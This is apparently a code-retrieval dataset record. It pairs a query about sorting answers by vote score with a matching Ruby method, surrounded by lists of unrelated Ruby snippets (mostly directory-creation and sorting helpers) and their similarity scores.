FileUtils.mkdir_p(path)\n path\n end", "def mkdir_p_folders\n [systems_folder, images_systems_folder, data_systems_folder, pages_score_folder].each do |dossier|\n FileUtils.mkdir_p(dossier)\n end\nend", "def path\n @path ||= begin\n dir = File.join Dir.home, \".relaton\", \"iec\"\n FileUtils.mkdir_p dir\n File.join dir, \"index.yaml\"\n end\n end", "def create_directory\n remove_dir(@name) if Dir.exist?(@name)\n Dir.mkdir(@name)\n end", "def make_dir(path)\n FileUtils.mkdir_p( path )# unless File.exists?(path)\n end", "def create_data_dir\n unless File.exists?(DATA_DIR)\n puts 'Creating data directory ...'\n FileUtils.mkpath(DATA_DIR)\n end\n end", "def file_path\n \"studio/#{type}/#{id}.xml\"\n end", "def create_parent_directory\n puts 'Creating Main Directory...'\n # CREATE: Make a main directory to store in slides\n Dir.mkdir './slides_archive/' unless File.exist? './slides_archive/'\n puts 'DONE ✓\\n'\n end", "def create\n location.mkdir\n end", "def creatFolder(path)\n Dir.mkdir(path) unless File.exists?(path)\n end", "def mkpath\n @path.mkpath\n end", "def CreaArchivos(aux)\n estado = false\n Dir.chdir(\"C:\\\\Imatch\\\\configuracion\")\n archivo = \"TR_\" + aux + \".xml\"\n print \"\\tVerificando archivo de configuracion \" + archivo + \"...\\n\"\n if File.exists?(archivo)\n print \"\\tArchivo \" + archivo + \" existe...\\n\"\n else\n File.open(archivo, 'w') do |registro|\n registro.puts '<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>'\n registro.puts '<ConfiguracionArchivo>'\n registro.puts ' <entidad>' + aux + '</entidad>'\n registro.puts ' <carpetaDeInput>C:\\\\SFTP\\\\Tickets\\\\' + aux + '\\\\</carpetaDeInput>'\n registro.puts ' <carpetaDeProcesados>C:\\\\SFTP\\\\Tickets\\\\' + aux + '\\\\procesados\\\\</carpetaDeProcesados>'\n registro.puts ' <carpetaDeErrores>C:\\\\SFTP\\\\Tickets\\\\' + aux + '\\\\errores\\\\</carpetaDeErrores>'\n registro.puts ' <prefix>PO</prefix>'\n registro.puts ' <readerConfig>C:\\\\Imatch\\\\Configuracion\\\\Sistema\\\\ticket\\\\TR_SpringConfig.xml</readerConfig>'\n registro.puts ' <cantidadDiasHistorico>365</cantidadDiasHistorico>'\n registro.puts ' <entidadLiquidante>false</entidadLiquidante>'\n registro.puts ' <capturaArchivos>true</capturaArchivos>'\n registro.puts '</ConfiguracionArchivo>'\n end\n print \"\\tArchivo \" + archivo + \" creado...\\n\"\n estado = true\n end\n return estado\nend", "def create_directory(path)\n clean_path = File.expand_path(path.gsub(/ /, '_'))\n Dir.mkdir(clean_path)\n clean_path\n end", "def create_folder_if_needed path; Dir.mkdir(path) unless File.exists?(path) end", "def create_directory(file)\n end", "def create_dir(filename)\n expanded_filename = \"#{working_dir}/#{filename}\"\n FileUtils.mkdir_p expanded_filename\n expanded_filename\n end", "def create_log_folder\n @log_folder = FileUtils.mkdir_p(log_folder_name).first\n end", "def createProdFolder(path) \n # Create book production folder\n @book_zip_generated_folder=path+\"book_prod_folder/\"\n if (File.exists?(@book_zip_generated_folder) && File.directory?(@book_zip_generated_folder))\n puts \"Book Production folder exists\"\n else\n Dir.mkdir(@book_zip_generated_folder)\n end\nend", "def create_directory\n return if File.directory?(DIRECTORY_PATH)\n\n FileUtils.mkdir_p(DIRECTORY_PATH)\n end", "def create\n\t type = @params[0].split('.')\n\n\t if type[1]\n\n\t if @params[1]\n\t FileUtils.touch(@params[1]+'/'+@params[0])\n\t else\n\t FileUtils.touch(@params[0])\n\t end\n\t else\n\t if @params[1]\n\t FileUtils::mkdir_p @params[1]+'/'+@params[0]\n\t else\n\t FileUtils::mkdir_p @params[0]\n\t end\n\t end\n\t end", "def create_folder(name)\n Dir.mkdir(\"#{name}\")\nend", "def create_perf_archive_root\n @gplt_timestamp = Time.now.getutc.to_i\n @archive_root = \"#{PERF_RESULTS_DIR}/PERF_#{@gplt_timestamp}\"\n FileUtils.mkdir_p @archive_root\n end", "def store_dir\n path = \"cliente/#{model.id}/logomarca\"\n\n # if Rails.env.development?\n # path = \"development/#{path}\"\n # end\n\n path\n end", "def CreateDir(aDir):\n FileUtils.mkdir_p(aDir)\n end", "def make_directory\n FileUtils.mkdir_p output_directory unless File.exist? output_directory\n end", "def mkdirs\n if (not exists?)\n parent.mkdirs\n factory.system.mkdir @path\n end\n end", "def find_or_create_destination_folder\n Dir.mkdir(HTML_RESULT_FOLDER) if !Dir.exists?HTML_RESULT_FOLDER\n end", "def create_directory path\n unless File.exists?(path)\n FileUtils::mkdir_p path\n Puppet.notice \"Created directory #{path}\"\n end\n end", "def ensure_directory\n FileUtils.mkdir_p(to_s)\n self\n end", "def create\n create_directories\n end", "def rdf_path\n @rdf_path ||= begin\n path = ENV['CAP_REPO_PATH'] || './data/vivo_rdf'\n path = File.absolute_path(path)\n FileUtils.mkdir_p path\n path\n end\n end", "def createFilePath(file)\n fd = File.dirname(file)\n Dir.mkdir(fd) if !File.exists?(fd)\n end", "def createFolder(folderName,parentFolder)\n\tthesame = lambda { |key| hostName }\t\n client = Savon.client(wsdl: @@wsdl, ssl_verify_mode: :none, ssl_version: :TLSv1, convert_request_keys_to: :none)\n parentId = getFolder(parentFolder)\n if parentId.nil?\n print \"Parent Folder \" + parentFolder + \" doesn't exist\"\n return nil\n else\n response = client.call(:folder_create, message: {\n token: @@token,\n folderName: folderName,\n parentFolderId: parentId,\n folderTypeId: 1\n })\n doc = Nokogiri::XML.parse(response.to_xml)\n puts doc\n end\n end", "def store_dir\n #\"documentos/#{model.document_album.escuela_transporte.razonSocial.gsub(\" \",\"_\").mb_chars.normalize(:kd).gsub(/[^x00-\\x7F]/n, '').to_s.upcase.gsub(/[^a-zA-Z0-9_-]/,\"\")}/#{model.document_album.nombre.upcase}/#{model.nombre}\"\n model.document_path\n end", "def content_path\n path = \"esm/#{self.esm.name}/#{self.name}/content\"\n file_path = \"public/#{path}\"\n p = file_path.split('/')\n i=0\n unless FileTest.exist?(file_path)\n while(s = \"public/esm/#{p[2...2+i].join('/')}\" and s!=file_path)\n Dir.mkdir(s) unless FileTest.exist?(s)\n i+=1\n end\n Dir.mkdir(s) unless FileTest.exist?(s)\n end\n return path\n end", "def __create_directories(key, value)\n return if value['documentation']\n\n empty_directory @output.join(key)\n create_directory_hierarchy * value.to_a.first\n end", "def create_dirs\n FileUtils.mkdir_p(@work_dir) unless File.exist?(@work_dir)\n end", "def createFolder(folderPath)\n @folderParts=folderPath.split(\"/\")\n newFdr=\"\"\n for partName in @folderParts\n newFdr=newFdr+partName+\"/\"\n if !File.exist?(newFdr)\n Dir.mkdir(newFdr)\n end\n end\nend", "def createFolder(folderPath)\n @folderParts=folderPath.split(\"/\")\n newFdr=\"\"\n for partName in @folderParts\n newFdr=newFdr+partName+\"/\"\n if !File.exist?(newFdr)\n Dir.mkdir(newFdr)\n end\n end\nend", "def create_user_directories\n #Directories\n avatar = \"#{Rails.root}/data/avatars/#{resource.id}\"\n push = \"#{Rails.root}/data/push/#{resource.id}\"\n passes = \"#{Rails.root}/data/passes/#{resource.id}\"\n coredata = \"#{Rails.root}/data/coredata/#{resource.id}\"\n #Avatar Upload Pictures\n Dir.mkdir(avatar) unless File.exists?(avatar)\n #Push Notification Certificates\n Dir.mkdir(push) unless File.exists?(push)\n #Avatar Passbook\n Dir.mkdir(passes) unless File.exists?(passes)\n #Core Data\n Dir.mkdir(coredata) unless File.exists?(coredata)\n end", "def createProdFolder(path) \n # Create book production folder\n @book_zip_generated_folder=path+\"book_prod_folder/\"\n if (File.exists?(@book_zip_generated_folder) && File.directory?(@book_zip_generated_folder))\n puts \"Book Production folder exists\"\n else\n Dir.mkdir(@book_zip_generated_folder)\n end\n \n #Create book zip folder\n @book_prod_final_zip_folder=@book_zip_generated_folder+\"book/\"\n if (File.exists?(@book_prod_final_zip_folder) && File.directory?(@book_prod_final_zip_folder))\n puts \"Book Prod Zip folder exists\"\n else\n Dir.mkdir(@book_prod_final_zip_folder)\n end\nend", "def create_file_and_folder\n begin\n Dir::mkdir(@directory)\n rescue Errno::EEXIST\n end\n FileUtils.touch \"#{@directory}/#{@store}.yml\"\n end", "def getfilename()\n current_time = Time.new.strftime(\"%Y-%m-%d\")\n \n # Create filename\n filename = current_time + \"_sprint_update_CS.html\"\n\n # Create folder with all file of sprint update\n foldername = \"History\"\n Dir.mkdir(foldername) unless File.exists?(foldername)\n\n return File.join(\".\", foldername, filename)\nend", "def CreatePath(path)\n #puts \"Creating path #{path}\"\n dirsToCreate = []\n currentPath = path\n while(!currentPath.exist?)\n\t#puts \"Need to create path #{currentPath}\"\n\tdirsToCreate.push(currentPath.AbsolutePath())\n\tcurrentPath = currentPath.Up()\n end\n dirsToCreate.reverse().each() do |dir|\n\tDir.mkdir(dir)\n end\n end", "def create_yolo_dir\n unless File.directory?(yolo_dir)\n FileUtils.mkdir_p(yolo_dir)\n end\n end", "def student_portfolio_dir(project, create = true)\n file_server = Doubtfire::Application.config.student_work_dir\n dst = \"#{file_server}/portfolio/\" # trust the server config and passed in type for paths\n\n dst << sanitized_path(\"#{project.unit.code}-#{project.unit.id}\", \"#{project.student.username}\" )\n\n # Create current dst directory should it not exist\n if create\n FileUtils.mkdir_p(dst)\n end\n dst\n end", "def make_data_dir\n unless Dir.exist?(self.data_store_path)\n FileUtils.mkdir_p(self.data_store_path)\n end\n end", "def __create_directories(key, value)\n unless value['documentation']\n empty_directory @output.join(key)\n create_directory_hierarchy *value.to_a.first\n end\n end", "def save(directory, data, type = 'xml')\n return if directory == nil || data == nil\n \n begin\n # verify target directory\n Dir.chdir(path)\n Dir.mkdir(directory) unless File.directory?(directory)\n \n repo = File.join(path, directory)\n child = day_to_directory\n \n # verify actual target directory (day)\n Dir.chdir(repo)\n Dir.mkdir(child) unless File.directory?(child)\n repo = File.join(repo, child)\n \n # create absolute filename.\n filename = unixtime + SEPARATOR + directory + EXTENSION + type\n target = File.join(repo, filename)\n \n # create the file\n open(target, 'w') { |file| file << data }\n \n rescue Exception => error\n puts \"error: #{error.message}\" \n end\n end", "def create_paths\n @storage_folders_path = File.join(@storage_path, \"folders\") # Not need date because we use rsync\n FileUtils.mkdir_p @storage_folders_path\n\n today = Time.now\n @storage_databases_path = File.join(@storage_path, \"databases\", today.year.to_s, today.month.to_s, today.day.to_s)\n FileUtils.mkdir_p @storage_databases_path\n end", "def creoarchivo(nom,promedio)\n\tfile = File.open(\"#{nom}\", 'w')\n\tfile.puts promedio\n\tfile.close\t\nend", "def build_workspace_dir(root_dir, dirname, uuid)\n \"/#{root_dir}/#{dirname}-#{uuid}\"\nend", "def create_tmp_prj_dir\n begin\n Dir.mkdir(@test_tmp,0777)\n Dir.mkdir(@test_prj_dir,0777)\n rescue Exception => e\n puts \"Could not make #{@test_tmp} dirs at #{Dir.getwd} - #{e.to_s}\"\n end\n @test_prj_dir \n end", "def create\n @project = Project.new(params[:project])\n \n \n# FileUtils.mkdir \"public/data/#{self.id}/\"\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_storage_dir\n placeholder = @placeholder || @dirname\n dirpath = File.join(storage_path, placeholder)\n FileUtils.mkdir dirpath unless Dir.exists? dirpath\n end", "def create_path path\n if path.include? 'public' # path is absolute\n FileUtils.mkdir_p(\"#{path}\")\n else # path is relative\n FileUtils.mkdir_p(\"#{PUBLIC_IMAGES_ROOT}/#{path}\")\n end\n end", "def create_dir path\n path = with_root path\n path = fix_path path\n sftp.mkdir! path\n end", "def create_folder()\n\n directory_name = \"./public/swap/imageuploader\"\n Dir.mkdir(directory_name) unless File.exists?(directory_name)\n\nend", "def create_structure\n if File.exists?(\"features\") && File.directory?(\"features\")\n return\n else\n FileUtils.mkpath \"features/step_definitions\"\n FileUtils.mkdir \"features/support\"\n FileUtils.mkdir \"features/screenshots\"\n FileUtils.touch\"features/support/env.rb\"\n end\n \n\n end", "def create_dir path\n sftp.mkdir! path\n end", "def mkdir(name=newname)\n dir = path(name)\n Dir.mkdir(dir)\n return dir\n end", "def new_dirs; end", "def create_output_directory\n FileUtils.mkdir_p @output_dir\n end", "def ensure_directory_exists\r\n dir = File.dirname(full_path_from_current_attributes)\r\n FileUtils.mkdir_p(dir) unless File.exists?(dir)\r\n end", "def mkpath path\n end", "def root_path=(str)\n @root_path=str\n Dir.mkdir @root_path unless Dir.exist? @root_path\n end", "def create_filepath(language)\n @dirpath = File.join(LOCALE_DIR + @type + '/' + @dirnames.first)\n File.join(@dirpath + '/' + language + '.yml')\n end", "def create_dir(path)\n FileUtils.mkdir_p(path, { mode: 0775 }) unless File.exists?(path)\n end", "def sub_dir\n dir_name = \"Archive #{@t.month}-#{@t.day}-#{@t.year}\"\n sub_dir_name = \"#{@archive_folder}/#{dir_name}\"\n\n Dir.mkdir(sub_dir_name) unless Dir.exist?(sub_dir_name)\n return sub_dir_name\nend", "def mk_dir(path)\n FileUtils.mkdir_p(path) unless File.directory?(path)\n end", "def create_path(dest_path, *args)\n title = nil\n if(args.size > 0)then\n type = args[0][:type]\n title = args[0][:title]\n end\n if(not(type))then\n type = \"article-listing\"\n end\n\n destination_path = \"/\"\n dest_path.split(\"/\").each do |folder|\n if(folder != \"\")then\n folder = folder.downcase\n destination_path = destination_path + folder + \"/\"\n if( not(exists?(destination_path)) )then\n mkdir(destination_path)\n proppatch(destination_path,'<v:collection-type xmlns:v=\"vrtx\">' + type + '</v:collection-type>')\n if(title)then\n proppatch(destination_path,'<v:userTitle xmlns:v=\"vrtx\">' + title.to_s + '</v:userTitle>')\n end\n end\n end\n end\n return destination_path\n end", "def prepare_path\n log(\"prepare_path\")\n FileUtils.mkdir_p(path) unless Dir.exist?(path)\n rescue Exception => e\n log(\"prepare_path\", \"ERROR #{e}\")\n notify( \"reader.error\", { :error => \"prepare_path\" } )\n end", "def create_test_directories\n\t\ttrace \"Creating test directory #{TEST_DATADIR}\"\n\t\tTEST_DATADIR.mkpath\n\t\treturn TEST_WORKDIR\n\tend", "def create_dir(dir)\n unless File.directory?(dir)\n FileUtils.mkdir_p(dir)\n end\nend", "def mkpath(directory)\n FileUtils.mkdir_p(directory.to_s, :mode => @permissions[:dir], :verbose => true)\n end", "def create_dirs(path)\n FileUtils.makedirs path.split('/').reverse[1..-1].reverse.join('/')\n end", "def path!(id)\n path = path(id)\n FileUtils.mkdir_p(path.dirname, mode: directory_permissions)\n path\n end", "def criar_pasta(path)\n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n end\nend", "def make_file_dir(folder, path=\"public/temp/#{@current_user.user_name}\")\n @file_dir= \"#{path}/#{folder}\"\n FileUtils.mkdir_p(\"#{@file_dir}\")\n return @file_dir\n end", "def create_build_directories\n root_dir = generate_build_location(\"\")\n Dir.mkdir root_dir unless Dir.exists?(root_dir)\n img_dir = generate_image_location(\"\",\"\").split(\"/\")[0...-1].join(\"/\")\n Dir.mkdir img_dir unless Dir.exists?(img_dir)\n end", "def make_dir(output_path)\r\n constructed_dir = \"\"\r\n i = 0\r\n\r\n folders = output_path.split(\"/\")\r\n folders.each {|subdir|\r\n if (i == 0)\r\n constructed_dir = subdir\r\n else\r\n constructed_dir = constructed_dir + \"/\" + subdir\r\n end\r\n i += 1\r\n if not (Dir.exist? constructed_dir)\r\n puts(\"Constructed dir: \" + constructed_dir)\r\n Dir.mkdir constructed_dir\r\n end\r\n }\r\nend", "def path()\n file = File.join(Eddy.config.tmp_dir, \"eddy_persistent_data.json\")\n # FileUtils.mkdir_p(File.dirname(file))\n return Pathname.new(file)\n end", "def mkdir(path)\n FileUtils.mkdir_p(path)\n end", "def define_path\n raise GetMeSubsError.new(\"Settings for this OS aren't supported.\") if @os != :windows\n @path = (\n case @os\n when :windows\n ENV['APPDATA'] + \"/GetMeSubs/settings.yaml\"\n end\n )\n FileUtils.mkdir_p(File.dirname(@path))\n end", "def make_directory_tree\n project_tmp = \"/tmp/#{@package_name}\"\n @scratch = \"#{project_tmp}/#{@title}\"\n @working_tree = {\n 'scripts' => \"#{@scratch}/scripts\",\n 'resources' => \"#{@scratch}/resources\",\n 'working' => \"#{@scratch}/root\",\n 'payload' => \"#{@scratch}/payload\",\n }\n puts \"Cleaning Tree: #{project_tmp}\"\n FileUtils.rm_rf(project_tmp)\n @working_tree.each do |key,val|\n puts \"Creating: #{val}\"\n FileUtils.mkdir_p(val)\n end\n File.open(\"#{@scratch}/#{'prototype.plist'}\", \"w+\") do |f|\n f.write(ERB.new(File.read('tasks/templates/prototype.plist.erb')).result())\n end\n File.open(\"#{@working_tree[\"scripts\"]}/preflight\", \"w+\") do |f|\n f.write(ERB.new(File.read('ext/osx/preflight.erb')).result())\n end\nend", "def create_folder\n unless File.directory?(client.config.tmp_folder)\n FileUtils.mkdir_p(client.config.tmp_folder)\n end\n end", "def mkdirs(base)\n if !File.exists?(BASE_DIR)\n Dir.mkdir(BASE_DIR)\n end \n if !File.exists?(base)\n Dir.mkdir(base)\n end\n if !File.exists?(\"#{base}/cache\")\n Dir.mkdir(\"#{base}/cache\")\n end\n if !File.exists?(\"#{base}/data\")\n Dir.mkdir(\"#{base}/data\")\n end\nend" ]
[ "0.65916455", "0.6519942", "0.6290221", "0.62499833", "0.62050813", "0.61929095", "0.6168694", "0.61671066", "0.6141717", "0.61197937", "0.6118008", "0.6118008", "0.6112808", "0.6100345", "0.6099804", "0.60835993", "0.6065124", "0.60574055", "0.603878", "0.60367334", "0.6023967", "0.60185474", "0.6012255", "0.6004571", "0.59880435", "0.5980266", "0.59615004", "0.5958976", "0.59526634", "0.59513956", "0.59474653", "0.59430707", "0.59337467", "0.59118646", "0.59115034", "0.59076613", "0.58994347", "0.58902305", "0.5888095", "0.5887882", "0.58800906", "0.5872857", "0.5871982", "0.585969", "0.58533233", "0.58432996", "0.5842301", "0.5840449", "0.5832001", "0.5819562", "0.5802973", "0.5802973", "0.5791515", "0.57875603", "0.57834965", "0.578245", "0.5771831", "0.5767784", "0.5764599", "0.5758798", "0.5752012", "0.57351774", "0.57327384", "0.57246953", "0.5724383", "0.57146025", "0.5710271", "0.5703507", "0.5702306", "0.5695032", "0.5694177", "0.5679847", "0.56761724", "0.5674112", "0.5668797", "0.5661665", "0.5642267", "0.56421274", "0.5640124", "0.5636718", "0.56358457", "0.5633026", "0.562623", "0.56260514", "0.56216174", "0.5620587", "0.5616344", "0.5614806", "0.56046927", "0.5599491", "0.55972385", "0.5593218", "0.55876136", "0.5586129", "0.5579294", "0.5572414", "0.55636203", "0.5562497", "0.5548981", "0.55455" ]
0.868211
0
returns an array of the answers sorted by their vote score in descending order
def highest_voted_answers answers.sort_by {|answer| answer.vote_score}.reverse end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def answers\n answers = Post.find_all_by_post_type_and_parent_id('answer', self.id)\n answers.sort{|x,y| y.rating <=> x.rating }\n end", "def index\n @answers = Answer.joins(:post).order('votes DESC')\n end", "def get_chosen_answers\n ChosenAnswer.order('created_at DESC')\n end", "def answers_by_votes(options={})\n parse_answers(request(singular(id) + \"answers/votes\", options))\n end", "def most_voted_answer_for_scenarios(scenarios)\n answers.max_by{|a| a.votes_in_scenarios(scenarios)}\n end", "def sort_votes(list)\n list.sort_by! { |option| option.vote } # Sorts the list by the vote attribute of each option\n list.reverse! # Reverses the list because it naturally sorts ascending order\nend", "def sort_votes(list)\n list.sort_by! { |option| option.vote } # Sorts the list by the vote attribute of each option\n list.reverse! # Reverses the list because it naturally sorts ascending order\nend", "def index\n \t@posts = Post.all.sort_by{|x| x.total_votes}.reverse\n end", "def winners\n answer_records = get_answers_with_votes\n _winners = []\n first = answer_records.shift\n if first[:num_votes] > 0\n _winners << first\n answer_records.each do |answer_record|\n _winners << answer_record if answer_record[:num_votes] == first[:num_votes]\n end\n end\n _winners\n end", "def answers_with_data\n return answers.map(&:data_result), total_votes\n end", "def sorted_scores\n self.object.teams.map {|team| team.score}.sort.reverse\n end", "def options_by_score\n self.options.sort{ |x, y| y.score <=> x.score }\n end", "def answers\n []\n end", "def index\n render json: Question.all.order(:votes => :desc)\n end", "def sort\n @hits = all.sort {|x,y| y.score <=> x.score }\n end", "def show\n @answers = @question.answers.order_by(:overall_votes.desc)\n @question_upvotes = @question.votes.where(status: 1).count\n @question_downvotes = @question.votes.where(status: -1).count\n end", "def show\n @answers = @question.answers.order_by(:overall_votes.desc)\n @question_upvotes = @question.votes.where(status: 1).count\n @question_downvotes = @question.votes.where(status: -1).count\n end", "def index\n @hookahs = Hookah.order(votes: :desc)\n end", "def sort_answers\n ans_arr = @data.map do |answer|\n answer.split(' ', 2)\n end\n until ans_arr.count <= 25\n ans_arr.pop\n end\n a_num_to_i = ans_arr.map do |answer|\n answer = [answer[0].to_i, answer[1].strip]\n end\n @data = a_num_to_i.sort\n end", "def index\n @videos = Video.all\n @videos.sort_by! { |video| -video.scores }\n end", "def answers\n return @answers\n end", "def sort_scores(unsorted_scores, highest_possible_score)\n array = []\n array << highest_possible_score\n unsorted_scores.sort.reverse.each { |score| array << score }\nend", "def get_scores\n scores = get_from_url(@scores_conn, SCORES_KEY, {})\n scores.sort! {|a, b| a['date_time'] <=> b['date_time']}\n scores.reverse!\n scores.sort! {|a, b| a['score'] <=> b['score']}\n scores.reverse!\n end", "def post_votes\n []\n end", "def ranking(limit=4)\n return [] unless self.votes ## empty array if no ranks\n self.votes.map.sort {|x, y| y[1] <=> x[1] }.collect {|y| y[0] }[0..limit]\n end", "def sorted_results\n results.sort\n end", "def tfivetags\n tag_array = self.tags\n sort_array = tag_array.sort!{|a,b| a.reputation_for(:votes) <=> b.reputation_for(:votes)}\n sort_array.reverse!\n topfive = sort_array.take(5)\n topfive\n end", "def newest_answers(options={})\n parse_answers(request(singular(id) + \"answers/newest\", options))\n end", "def scores\n quiz_entries.collect { |qe| qe.score }\n end", "def answers\n @answers ||= generate_answers\n end", "def ranked_candidates\n Array(@ranking - [UNRANKED_ID]).flatten.sort\n end", "def answers\n [answer_1, answer_2]\n end", "def sort\n @pokers.sort.reverse\n end", "def incorrect_answers\n results = []\n for quiz_response in self.quiz_responses\n if ! quiz_response.correct?\n results << quiz_response.position\n end\n end\n return results\n end", "def survey_answers\n survey_questions.map(&:survey_answers).flatten\n end", "def answers\n return (distractor + [correct]).shuffle\n end", "def answers\n return (distractor + [correct]).shuffle\n end", "def display_stories stories\n #Double the score for each title with \"cat\" or \"dog\" in the title.\n cat_dog(stories)\n\n stories.sort_by! { |story| story[:score] }\n\n stories.reverse!\n\n stories.each do |story|\n # \"Title: title, Category: category, Upvotes: score\"\n puts \"Title: #{story[:title]}, Category: #{story[:category]}, Upvotes: (#{story[:score]})\"\n end\nend", "def array_ranked_descending(array)\n\t\treturn array.sort{|x,y| y <=> x} \n\tend", "def answer(unsorted_scores, highest_possible_score)\n score_counts = [0] * (highest_possible_score + 1) # array of 0's at indices 0..highest_possible_score\n unsorted_scores.each { |score| score_counts[score] += 1 } # populate score_counts\n sorted_scores = [] # populate the final sorted_scores\n highest_possible_score.downto(0) do |score|\n count = score_counts[score]\n (0...count).each { |time| sorted_scores << score }\n end\n return sorted_scores\nend", "def index\n @pol_posts = PolPost.all.order(:cached_votes_up => :desc)\n end", "def sort_games\n games.order(:score).limit(5)\n end", "def rank(result_array)\n # Highest first.\n return result_array.sort_by{ |hash| - hash[:score] + (hash[:enabled]==false ? 10 : 0) }\n end", "def get_scores\r\n items_db = DYNAMODB.scan(table_name: TABLE_NAME).items\r\n items_hash = make_result_list(items_db)\r\n items = items_hash.sort_by { |hash| hash['score'] }\r\n make_response(HttpStatus::OK, items.reverse().first(10))\r\nend", "def ordered_by_qualifications(candidates)\n ordered_candidates = candidates.sort_by { |candidate| [candidate[:years_of_experience], candidate[:github_points]] }\n return (ordered_candidates).reverse\n\n # @ordered_by_qualifications = []\n\n # candidates.each do |candidate|\n # years_exp s=candidate[:years_of_experience]\n # @ordered_by_qualifications << years_exp\n # if years_exp == years_exp += 1\n # candidate[:github_points] > candidate[github_points] += 1\n # end \n \n # end\n # return @ordered_by_qualifications.sort!.reverse\n #This line returns the values 12..1 \n # return @ordered_by_qualifications.sort!.reverse\nend", "def viewPostsByVotes\n @results = Array.new\n @results = Post.find_by_sql('SELECT title, content, COUNT(post_id) FROM posts INNER JOIN votes ON posts.id = votes.post_id GROUP BY posts.id ORDER BY COUNT(post_id) DESC') #query for getting the number of votes per post\n end", "def sort_questions\n q_arr = @data.map do |question|\n question.split('.', 2)\n end\n q_arr.shift\n q_num_to_i = q_arr.map do |question|\n question = [question[0].to_i, question[1].strip]\n end\n @data = q_num_to_i.sort\n end", "def find_answers_from_db\n answers_from_db = get_questions_from_db\n answers_from_db.each do |answer_from_db|\n @answers.add answer_from_db[:answer]\n break if @answers.length >= @answer_limit\n end\n @answers.to_a\n end", "def get_answers\n @answers\n end", "def sort_related_posts(related_scores)\n related_scores.sort do |a,b|\n if a[1] < b[1]\n 1\n elsif a[1] > b[1]\n -1\n else\n b[0].date <=> a[0].date\n end\n end.collect {|post,freq| post}\n end", "def highest_score\n sort\n all.first.score\n end", "def index\n @texts = Text.all.sort_by {|obj| (((obj.get_upvotes.size - obj.get_downvotes.size) * 10000000000000000000) / (Time.now.to_i - obj.created_at.to_i)) }.reverse\n end", "def election_winner(votes)\n candidate_votes = Hash.new(0)\n\n votes.each { |vote| candidate_votes[vote] += 1 }\n\n max_votes = candidate_votes.values.max\n candidate_votes.select { |_, v| v == max_votes }.sort.reverse[0][0]\nend", "def score\n \tself.get_upvotes.size - self.get_downvotes.size\n end", "def latest_answers\n unscope(:order).select('DISTINCT ON (question_id) *').order(:question_id, created_at: :desc)\n end", "def latest_answers\n unscope(:order).select('DISTINCT ON (question_id) *').order(:question_id, created_at: :desc)\n end", "def latest_answers\n unscope(:order).select('DISTINCT ON (question_id) *').order(:question_id, created_at: :desc)\n end", "def sort_results(results, weights)\n results.sort_by {|item| weights[item.name] }.reverse\n end", "def sample_data\n json = JSON.parse File.read(\"db/sample_data.json\")\n sorted_json = json[\"results\"].sort_by { |r| -r[\"score\"] }\n end", "def sort_related_posts(related_scores)\n related_scores.sort do |a, b|\n if a[1] < b[1]\n 1\n elsif a[1] > b[1]\n -1\n else\n b[0].date <=> a[0].date\n end\n end.collect { |post, _freq| post }\n end", "def sort_counts()\n @count_array = @counts.to_a\n @count_array.sort_by! { |pair| pair[1] }\n @count_array.reverse!\n @count_array\n end", "def serve_choice_array\n if self.choices.nil?\n return [\"No answers available\"]\n else\n answers = Array.new\n raw = self.choices.sort_by{|a| a[:order]}\n raw.each do |c|\n formatted = c\n formatted[:answer] = make_html(c[:answer])\n answers.push( formatted )\n end\n if self.mcq_is_scrambled\n scrambled = Array.new\n until answers.empty?\n rand = Random.rand(answers.length)\n scrambled.push(answers.delete_at(rand))\n end\n answers = scrambled\n end\n return answers\n end\n end", "def find_highest_votes(list)\n sort_votes(list) # Sorts array of options based on votes in descending order\n loop do\n first = list[0] # Pulls the first option out of the array\n last = list[-1] # Pulls the last option out of the array\n if first.vote != last.vote # Compares the first option and the last option based on their votes\n list.delete_at(-1) # If they are not equal delete the last option as it does not tie with the winner\n else \n break # Break out of the loop if the first option and the last option have the same number of votes, if in a single item array index 0 is the same as index -1 so it will always return true\n end\n end\nend", "def find_highest_votes(list)\n sort_votes(list) # Sorts array of options based on votes in descending order\n loop do\n first = list[0] # Pulls the first option out of the array\n last = list[-1] # Pulls the last option out of the array\n if first.vote != last.vote # Compares the first option and the last option based on their votes\n list.delete_at(-1) # If they are not equal delete the last option as it does not tie with the winner\n else \n break # Break out of the loop if the first option and the last option have the same number of votes, if in a single item array index 0 is the same as index -1 so it will always return true\n end\n end\nend", "def turkey_outliers\n res = []\n all_related_answers.map do |answer|\n next unless answer.numeric_value\n res << [answer.numeric_value, answer.id]\n end\n res.sort!\n return if res.size < 3\n quarter = res.size / 3\n _q1 = res[quarter]\n _q3 = res[-quarter]\n res\n end", "def ordered_results_for_student(student_object)\n completed_results = student_object.all_completed_performances\n ordered_results = completed_results.order(student_score: :desc)\n return ordered_results\nend", "def decode_quiz_scores(scores)\n\n result = Array.new\n\n scores.each do | key, val |\n q_number = val / 100\n ans = val - (100 * q_number)\n result << {question: q_number, answer: ans, value: 1}\n end\n\n result\n end", "def sort_using_rank\n score[1]\n end", "def sorted_tracking\n ratings = []\n self.tracking.each do |user|\n ratings << {entity: user.id, weight: self.calculate_relation(user).to_i}\n end\n return ratings.sort_by{ |h| h[:weight] }.reverse\n end", "def questions_by_ordinal_array\n hash_to_ordered_array(Marshal.load(questions_by_ordinal))\n end", "def votes\n scenario_answers.count\n end", "def get_scores\n items = DYNAMODB.scan(table_name: TABLE).items\n sort_items_by_descending_scores_and_ascending_timestamp(items)\n make_result_list(items)\nend", "def rate\n votes = answers.inject(0) do |sum, a| \n sum + a.votes.count \n end\n \n # Return a count of votes and answers\n answers.count + votes\n end", "def index\n @answers = Answer.accessible_by(current_ability).order(\"created_at desc\")\n end", "def ordered_by_qualifications(candidates)\n sortedCandidates = candidates.sort_by! { |candidate| [candidate[:years_of_experience], candidate[:github_points]] }\n return sortedCandidates.reverse! \nend", "def serve_choice_array(question_prompt)\n if question_prompt.specific.choices.nil?\n return [\"No answers available\"]\n else\n answers = Array.new\n raw = question_prompt.specific.choices.sort_by{ |a| a[:position] }\n raw.each do |c|\n answers.push(c)\n end\n if question_prompt.specific.is_scrambled\n scrambled = Array.new\n until answers.empty?\n rand = Random.rand(answers.length)\n scrambled.push(answers.delete_at(rand))\n end\n answers = 